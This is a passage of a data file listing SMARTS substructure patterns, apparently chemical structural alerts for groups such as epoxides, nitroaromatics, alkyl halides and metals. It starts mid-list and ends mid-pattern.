"[CX4&!$([CX4]([OX2])([#7,O,S,F,Cl,Br,I,P]))][OX2][CX4&!$([CX4]([OX2])([#7,O,S,F,Cl,Br,I,P]))]", "[!R&NX3&H0]", "[$([nR1]1[nR1][nR1][cR1][cR1][cR1]1),$([nR1]1[nR1][cR1][nR1][cR1][cR1]1),$([nR1]1[cR1][nR1][cR1][nR1][cR1]1)]", "[$([!#6!#1]1[!#6!#1][!#6!#1]CCC1),$([!#6!#1]1[!#6!#1]C[!#6!#1]CC1),$([!#6!#1]1C[!#6!#1]C[!#6!#1]C1)]", "[$(c1([NX3]([#1,#6])[#1,#6])ccccc1),$(c1([OH1])ccccc1)]", "[OH1]c1c([OX2][CX4])cccc1", "[NX3H1]([CX4&!$([CX4]([NX3H1])[O,S,N,P])])[CX4&!$([CX4]([NX3H1])[O,S,N,P])]", "[a][$([NX3+](=[OX1])[O-]),$([NX3](=[OX1])=[OX1]);!$([NX3]a(a-[!#1])a-[!#1]);!$([NX3]aa-C(=[OX1])[OH])]", "[C,c][C;!R](=O)[N;!R][C;!R](=O)[C,c]", "[*!$([a])&!$(C=C)&!$(C#C)][CX4][F,Cl,Br,I]", "[$([F,Cl,Br,I]c1c([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])cc([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])cc1),$([F,Cl,Br,I]c1c([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-]),$([CX2]#[NX1]),$(C(F)(F)F),$([Sv6X4](=[OX1])(=[OX1])[CH3])])cncc1),$([F,Cl,Br,I]c1ncc([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-]),$([CX2]#[NX1]),$(C(F)(F)F),$([Sv6X4](=[OX1])(=[OX1])[CH3])])cc1),$([F,Cl,Br,I]c1ncccc1([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-]),$([CX2]#[NX1]),$(C(F)(F)F),$([Sv6X4](=[OX1])(=[OX1])[CH3])])),$([F,Cl,Br,I]c1ncncc1),$([F,Cl,Br,I]c1ncncn1)]", "[$([cH]1cc(=[O,NH])cc[o,n]1),$([cH]1cc(=[O,NH])[o,n]cc1),$(c1cc(=[O,NH])[o,n][cH]c1)]", "nc[F,Cl,Br]", "[$(C=N[O;D1]);!$(C=[N+])][#6][#6]", "[!$(C=O);$([C&!a])][OX2&H0][!$(C=O);$([C&!a])]", "[OX1]=[Pv5X4]([NX3])([!#6!$([SX2])])[!#6!$([SX2])]", "O=C2CC(a3aaaaa3)Oa1aaaaa12", "[$([NX4]([#1,#6])([#1,#6])([#1,#6])),$([NX3]([#1,#6])([#1,#6])),$([NX2]=[#1,#6])][$([NX4]([#1,#6])([#1,#6])([#1,#6])),$([NX3]([#1,#6])([#1,#6])),$([NX2]=[#1,#6])]", "[CX3](=[OX1])C[Cl,Br,I]", "[CH2]=[C;!$(C-N);!$(C-O)]C(=O)", "[CX3R0](=O)[CX3R0](=O)", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [a][CX4][$([OX2][Sv6X4](=[OX1])(=[OX1])[OH]),$([OX2][Sv6X4](=[OX1])(=[OX1])[OX2][CH3]),$([OX2][Sv6X4](=[OX1])(=[OX1])[CH3]),$([OX2][Sv6X4](=[OX1])(=[OX1])[CF3]),$([OX2][Sv6X4](=[OX1])(=[OX1])c1ccc([CH3])cc1),$([Br,Cl])]", "[#6]=[#6][CX3](=[OX1])[NX3]", "c[NX3H1][CX4&!$([CX4]([NX3H1])[O,N,S,P])]", "[#7]1(c2acccc2)-,:[#6]([CX4])=,:[#6]-,:[#6!H0]=,:[#6]1[CX4]", "[H][CX3]([#1,#6])=[OX1]", "[$([C]([CH3])([CH3])([CH3])([*]))]", "aC=C[$(N(=[OX1])=[OX1]),$(C=O),$(C#N),$(S=O),$(C(=O)N),$(a)]", "[#6R][CX3R](=[OX1])[OX2R][#6R&!$([CX3R]=[OX1,SX1,NX2])]", "C1(=O)~[#6]~[#6]N1", "[$([!#6!#1]1[!#6!#1]CCC1),$([!#6!#1]1C[!#6!#1]CC1)]", "[CH2,$([CH1][#6]),$([CX4]([#6])[#6])]([SX2][#1,#6&!$([CX3]=[OX1,SX1,NX2])&!$(C#N)])[NX3]([#1,*])[#1,*]", "[N!R]=[C,N]", "[CX4]([#1,#6])([#1,#6])([OH1])[CX4]([#1,#6])([#1,#6])[NH2,$([NH1]([CX4][CX4][OH1])[#6&!$([CX3]=[OX1,SX1,NX2,C])])]", "[CX3]=[CX3][CX4][F,Cl,Br,I]", "c1ccc[oX2]1", "[CX4]1[OX2][CX4]1", "[$([F][CX4][$([CH2]),$([CH]),$(C[OH1])][OX2][#1,#6]),$([F][CX4][$([CH2]),$([CH]),$(C[OH1])][NX3][#6])]", "CC([OX2]C)([OX2]C)C", "[CX4]N([CX4])c1ccc(O[CX4])cc1", "[SX2][CX3](=[SX1])[NX3]", "[$(c([OH1])c[NX3]([#1,#6])[#1,#6]),$(c([OH1])[aR1]c[NX3]([#1,#6])[#1,#6]),$(c1([OH1])aac([NX3]([#1,#6])[#1,#6])aa1)]", "[+,++,+3,+4,+5,+6,+7,$([#7v4]),$([#8v3])] AND NOT [$([NX2]=[NX2+]=[NX1-]),$([NX2]=[NX2+]=N),$([NX2-]-[NX2+]#[NX1]),$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-]),$([NX2+]#[CX1-]),$([NX2]#[CX1]),$([OX1-,OH1][#7X4+]([*])([*])([*])),$([OX1]=[#7X4v5]([*])([*])([*])),$([OX1-,OH1][#7X3+R](~[R])(~[R])),$([OX1]=[#7v5X3R](~[R])(~[R])),$([*+]~[*-])]", "[NR1]1[NR1]=[CR1][CR1][CR1]1", "[CX3]([H])(=[OX1])[#1,#6&!$([CX3]=[CX3])]", "[$([OR1]1[OR1][CR1][CR1][CR1]1),$([OR1]1[CR1][OR1][CR1][CR1]1)]", "NOT [!#6!#1!#8] AND [OX2H1][CX4][C!$(C(=,#C)[CX4][OX2H1])]", "[OX2]1[CX4]([#1,c,$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)])[CX4]1([#1,c,$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)])([CX4])", "N[CX4]N", "[#6]N1[CH2][CH2]N([CH2][CH2]1)[#7]=[#6!H0]ca", "[$(n1ccccc1)]", "[#6][F,Cl,Br,I]", "NOT [!#6!#1!#8] AND [a;!$(a-[OH1]);!$(a[CX4][OH1])][$(C~[CX4][OH1]),$(C~C~[CX4][OH1]),$(C~C~C~[CX4][OH1]),$(C~C~C~C~[CX4][OH1]),$(C~C~C~C~C~[CX4][OH1]),$(C~C~C~C~C~C~[CX4][OH1]),$(C~C~C~C~C~C~C~[CX4][OH1]),$(C~C~C~C~C~C~C~C~[CX4][OH1]),$(C~C~C~C~C~C~C~C~C~[CX4][OH1])]", "[CX4,C!H0][Br,Cl,I]", "[$([a][F,Cl,I])]", "[nR1]1[nR1][cR1][cR1][cR1]1", "[c,n]1[c,n][c,n]c2[c,n]c3[c,n][c,n][c,n][c,n]c3[c,n]c2c1", "[$([!#6!#1;R1]1~[!#6!#1;R1]~[!#6!#1;R1]~[#6R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[!#6!#1;R1]~[#6R1]~[!#6!#1;R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[#6R1]~[!#6!#1;R1]~[#6R1]~[!#6!#1;R1]~[#6R1]~1)]", "[NR1]1[CR1][CR1][CR1][CR1]1", "[NX3&!$([NX3]([CX3]=[OX1,SX1,NX2])([CX3]=[OX1,SX1,NX2]))]([#1,#6])([#1,#6])[CX3]([S&!$([SX2]([CX3]=N)C=C)])=[NX2][#1,#6]", "[nR1]1[cR1][nR1][cR1][cR1]1", "a[F,Cl,Br,I]", "[$([!#6!#1]1=[!#6!#1]~[!#6!#1]~[#6]~[#6]~[#6]~1),$([!#6!#1]1~[!#6!#1]~[!#6!#1]=[#6]~[#6]~[#6]~1),$([!#6!#1]1~[!#6!#1]~[!#6!#1]~[#6]=[#6]~[#6]~1),$([!#6!#1]1=[!#6!#1]~[#6]~[!#6!#1]~[#6]~[#6]~1),$([!#6!#1]1~[!#6!#1]=[#6]~[!#6!#1]~[#6]~[#6]~1),$([!#6!#1]1~[!#6!#1]~[#6]=[!#6!#1]~[#6]~[#6]~1),$([!#6!#1]1~[!#6!#1]~[#6]~[!#6!#1]=[#6]~[#6]~1),$([!#6!#1]1~[!#6!#1]~[#6]~[!#6!#1]~[#6]=[#6]~1),$([!#6!#1]1=[#6]~[!#6!#1]~[#6]~[!#6!#1]~[#6]~1);!$([a!c]1[a!c][a!c]ccc1);!$([a!c]1[a!c]c[a!c]cc1);!$([a!c]1c[a!c]c[a!c]c1)]", "[NX3]([c,CX4&!$([CX4]([NX3])[O,S,N,P])])([c,CX4&!$([CX4]([NX3])[O,S,N,P])])[c,CX4&!$([CX4]([NX3])[O,S,N,P])]", "[cH]1c([H,F,Cl,Br,I,$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[OX1-]),$(C#[NX1]),$([SX2]C#[NX1]),$([CX4](Cl)(Cl)(Cl)),$([CX4](F)(F)(F))])c([H,F,Cl,Br,I,$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[OX1-]),$(C#[NX1]),$([SX2]C#[NX1]),$([CX4](Cl)(Cl)(Cl)),$([CX4](F)(F)(F))])c([H,F,Cl,Br,I,$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[OX1-]),$(C#[NX1]),$([SX2]C#[NX1]),$([CX4](Cl)(Cl)(Cl)),$([CX4](F)(F)(F))])[cH]c1[NX3]([H,$(C=[OX1])])C(=[OX1])C([H,OH1,#7])([#6])([#6])", "[NX1]#CC=C", "[sR1]1[cR1][cR1][cR1][cR1]1", "[*R]~[*R&!#6]~[*R]", "nc[$([OX2][Sv6X4](=[OX1])(=[OX1])[OH]),$([OX2][Sv6X4](=[OX1])(=[OX1])[OX2][CH3]),$([OX2][Sv6X4](=[OX1])(=[OX1])[CH3]),$([OX2][Sv6X4](=[OX1])(=[OX1])[CF3]),$([OX2][Sv6X4](=[OX1])(=[OX1])c1ccc([CH3])cc1),$([I,Br,Cl])]", "[NX2]=[OX1]", "[NR1]1[CR1][CR1]=[CR1][CR1]1", "[CX3]=[CX3][CH2][$([Cl,Br,I]),$([OX2])]", "[$([#6X3]1=,:[#6X3]-,:[#6X3](=[OX1])-,:[#6X3]=,:[#6X3]-,:[#6X3]1(=[OX1])),$([#6X3]1(=[OX1])-,:[#6X3](=[OX1])-,:[#6X3]=,:[#6X3]-,:[#6X3]=,:[#6X3]1)]", "[!#6!#1;R1]1~[*R1]~[*R1]~[*R1]~[*R1]~1", "[nH]1c([$([CH2]),$([C!H0]N),$([CD3]([CH2])[NH][CH2]),$([CD3]([CH2])[CD2][NH][CH2]),$([#6]=,:[#7,#8,#15,#16])])c([CX4!H0])c2[cH]cccc12", "[#6][OX2H]", "[$([OX1-,OH1][#7X4+]([*])([*])([*])),$([OX1]=[#7X4v5]([*])([*])([*])),$([OX1]=[Nv5X3&!$([Nv5X3](=[OX1])=[OX1])](=[*])([*])),$([OX1-,OH1][#7X3+R](~[R])(~[R])),$([OX1]=[#7v5X3R](~[R])(~[R]))]", "c1c([OH,NH2,NH])cc([OH,NH2,NH,$(N(C)C)])cc1", "[$([NR1]1=[NR1][CR1]=[CR1][CR1][CR1]1),$([NR1]1=[NR1][CR1]=[CR1][CR1][CR1]1),$([NR1]1[NR1][CR1]=[CR1][CR1]=[CR1]1),$([NR1]1[NR1]=[CR1][CR1]=[CR1][CR1]1),$([NR1]1[NR1]=[CR1][CR1][CR1]=[CR1]1),$([NR1]1[NR1]=[CR1][CR1][CR1][CR1]=1),$([NR1]1[CR1][NR1]=[CR1][CR1][CR1]=1),$([NR1]1=[CR1][NR1]=[CR1][CR1][CR1]1),$([NR1]1=[CR1][NR1][CR1]=[CR1][CR1]1),$([NR1]1=[CR1][NR1][CR1][CR1]=[CR1]1),$([NR1]1[CR1][NR1]=[CR1][CR1]=[CR1]1),$([NR1]1=[CR1][CR1]=[NR1][CR1][CR1]1),$([NR1]1=[CR1][CR1][NR1]=[CR1][CR1]1),$([NR1]1=[CR1][CR1][NR1][CR1]=[CR1]1),$([NR1]1[CR1]=[CR1][NR1][CR1]=[CR1]1)]", "[#1,#6][CX3](=[SX1])[NX3]([#1,#6&!$([CX3]=[OX1,SX1,NX1])])[#1,#6&!$([CX3]=[OX1,SX1,NX1])]", "[r10,r11,r12,r13,r14,r15,r16,r17,r18,r19,r20]", "[$([a!c;R1]1[a!c;R1][cR1][cR1][cR1][cR1]1),$([a!c;R1]1[cR1][a!c;R1][cR1][cR1][cR1]1),$([a!c;R1]1[cR1][cR1][a!c;R1][cR1][cR1]1)]", "c1ccccc1", "[oR1]1[nR1][cR1][cR1][cR1]1", "[$([!#6!#1;R1]1[!#6!#1;R1][CR1][CR1][CR1]1),$([!#6!#1;R1]1[CR1][!#6!#1;R1][CR1][CR1]1)]", "[OR1]1[CR1][OR1][CR1][CR1]1", "[#6][#7+]1=,:[#6]-,:[#7,#8,#16]-,:[#6]=,:[#6]1", "[$([CX4,a][Sv6X4](=[OX1])(=[OX1])[OX2][CX4]),$([CX4,a][Pv5X4](=[OX1])([OX2][#1,CX4])[OX2][CX4])]", "C1[O,S,N]C1", "[$([nR1]1[nR1][nR1][cR1][cR1]1),$([nR1]1[nR1][cR1][nR1][cR1]1)]", "[C!H0]=C(C#N)C(=O)", "[c;R1,R2,R3]1[c;R1,R2,R3][c;R1,R2,R3][c;R2,R3]2[c;R2,R3]([c;R1,R2,R3]1)[c;R1,R2,R3][c;R1,R2,R3][c;R1,R2,R3][c;R1,R2,R3]2", "C#C[$(N(=[OX1])=[OX1]),$(C=O),$(C#N),$(S=O),$(C(=O)N),$(a)]", "[OX2]1[CX4][CX4]1", "[NX3;!$([NX3](=[OX1])=[OX1]);!$([NX3+](=[OX1])[O-])][NX3;!$([NX3](=[OX1])=[OX1]);!$([NX3+](=[OX1])[O-])]", "[OX1]=[Pv5X4]([OX2][#6])([!#6!$([SX2])])[!#6!$([SX2])]", "[#7,#15,#33,#51,#83]", "[NX3]([#1,#6&!$([CX3]=[OX1,SX1,NX2,C])])([#1,#6&!$([CX3]=[OX1,SX1,NX2,C])])[CX4][CX4][NX3]([#1,#6&!$([CX3]=[OX1,SX1,NX2,C])])([#1,#6&!$([CX3]=[OX1,SX1,NX2,C])])", "[$([oR1]1[nR1][cR1][cR1][cR1]1),$([oR1]1[cR1][nR1][cR1][cR1]1)]", "[$([!#6!#1]1~[!#6!#1]~[!#6!#1]~[#6]~[#6]~1),$([!#6!#1]1~[!#6!#1]~[#6]~[!#6!#1]~[#6]~1)]", "[#6][Sv6X4](=[OX1,SX1,NX2])(=[OX1,SX1,NX2])[#6]", "[CX4][F,Cl,Br,I] AND NOT [$([CX4]([F,Cl,Br,I])[CX3]=[CX3]),$([CX4]([F,Cl,Br,I])[CX2]#[CX2]),$([CX4]([F,Cl,Br,I])a)]", "[$([Ru]),$([Rh]),$([Se]),$([se]),$([Pd]),$([Sc]),$([Bi]),$([Sb]),$([Ag]),$([Ti]),$([Al]),$([Cd]),$([V]),$([In]),$([Cr]),$([Sn]),$([Mn]),$([La]),$([Fe]),$([Er]),$([Tm]),$([Yb]),$([Lu]),$([Hf]),$([Ta]),$([W]),$([Re]),$([Co]),$([Os]),$([Ni]),$([Ir]),$([Cu]),$([Zn]),$([Ga]),$([Ge]),$([As]),$([as]),$([Y]),$([Zr]),$([Nb]),$([Ce]),$([Pr]),$([Nd]),$([Sm]),$([Eu]),$([Gd]),$([Tb]),$([Dy]),$([Ho]),$([Pt]),$([Au]),$([Hg]),$([Tl]),$([Pb]),$([Ac]),$([Th]),$([Pa]),$([Mo]),$([U]),$([Tc]),$([Te]),$([Po]),$([At])]", "C(=O)!@C(=O)", "[*][*].[*][*][CH,$([C!R](=[O,SX1])[#6!R])](=[O,SX1])[O!R,SX2!R,NX3!R][$([a;r6]),$([a;r5]),$(C=C),$(C#C)]", "[a][CX3H1]=[OX1]", "[!#1!#6]=[#6]1-,:[#6]=,:[#6]-,:[#6](=[!#1!#6])-,:[#6]=,:[#6]1", "[$([NR1]1=[CR1][NR1][CR1][CR1]1),$([NR1]1[CR1][NR1]=[CR1][CR1]1),$([NR1]1[CR1][NR1][CR1]=[CR1]1)]", "[F,Cl,Br,I][$(aa[Nv4,S!v2]),$(aaa[Nv4,S!v2]),$(aaaa[Nv4,S!v2])]", "[CX4]C(=O)O[#6][!#1]", "[$([H][CX3]([#1,#6])=[OX1]),$([#6&!$(C#N)][CX3](=[OX1])[#6&!$(C#N)])]", "[$(c1cccc2c1oc(=O)cc2),$(C1=CC(=O)OC2=CC=CC=C12),$(C1=CC(=O)Oc2ccccc12)]", "[$([NR1]1=[NR1][CR1][CR1][CR1]1),$([NR1]1[NR1]=[CR1][CR1][CR1]1),$([NR1]1[NR1][CR1]=[CR1][CR1]1)]", "[CX3]=[CX3][CX3](=[OX1])[$([#1][CX3]=[OX1]),$([#6]([CX3]=[OX1])),$([OX2]([CX3]=[OX1])[#6]),$([NX3]([CX3]=[OX1])([#1,#6])[#1,#6])]", "[$(c1([OH])c([OH])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([#1])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c1([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])),$([$(c1([OH1])c([#1])c([OH1])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c1([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])),$(c1([OH1])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([OH1])c([#1])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c1([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])]))]),$(c1([OH1])c([#1])c([#1,#6,OH1,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([OH1])c([#1,#6,OH1,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c1([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[